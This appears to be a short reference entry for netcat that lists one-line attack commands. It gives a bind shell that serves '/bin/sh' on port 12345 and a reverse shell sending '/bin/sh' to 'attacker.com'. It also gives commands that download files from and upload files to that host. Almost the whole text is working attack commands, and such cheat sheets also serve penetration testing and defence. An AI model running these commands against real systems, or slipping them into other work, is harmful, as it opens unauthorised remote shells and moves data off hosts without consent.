nc

Bind Shell

This only works with netcat traditional.

nc -l -p 12345 -e /bin/sh

Download

The file is actually written by the invoking shell.

nc -l -p 12345 >/path/to/output-file

The file is actually written by the invoking shell.

nc attacker.com 12345 >/path/to/output-file

Reverse Shell

This only works with netcat traditional.

nc -e /bin/sh attacker.com 12345

Upload

The file is actually read by the invoking shell.

nc -l -p 12345 </path/to/input-file

The file is actually read by the invoking shell.

nc attacker.com 12345 </path/to/input-file